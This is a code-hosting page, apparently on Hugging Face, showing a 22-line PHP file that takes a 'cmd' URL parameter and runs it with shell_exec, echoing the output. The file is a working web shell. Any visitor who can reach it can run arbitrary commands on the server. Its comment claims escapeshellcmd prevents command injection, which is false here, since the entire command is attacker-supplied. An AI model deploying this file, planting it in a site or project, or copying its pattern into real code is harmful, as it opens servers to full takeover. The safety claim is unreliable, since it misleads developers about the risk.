CoolFace
Apppublic

RoboMouse/php

sourceHugging Faceupdated 1y agoView on Hugging Face
0likes
index.php22 linesDownload Raw Back to root
1<?php2// Check if the 'cmd' parameter is set in the URL3if (isset($_GET['cmd'])) {4    // Get the command from the URL parameter5    $command = $_GET['cmd'];6 7    // Sanitize the command to prevent command injection8    $command = escapeshellcmd($command);9 10    // Execute the command and capture the output11    $output = shell_exec($command);12 13    // Return the raw output14    if ($output === null) {15        echo "Command not found or execution failed.";16    } else {17        echo $output;18    }19} else {20    echo "No command provided. Use ?cmd=your_command";21}22?>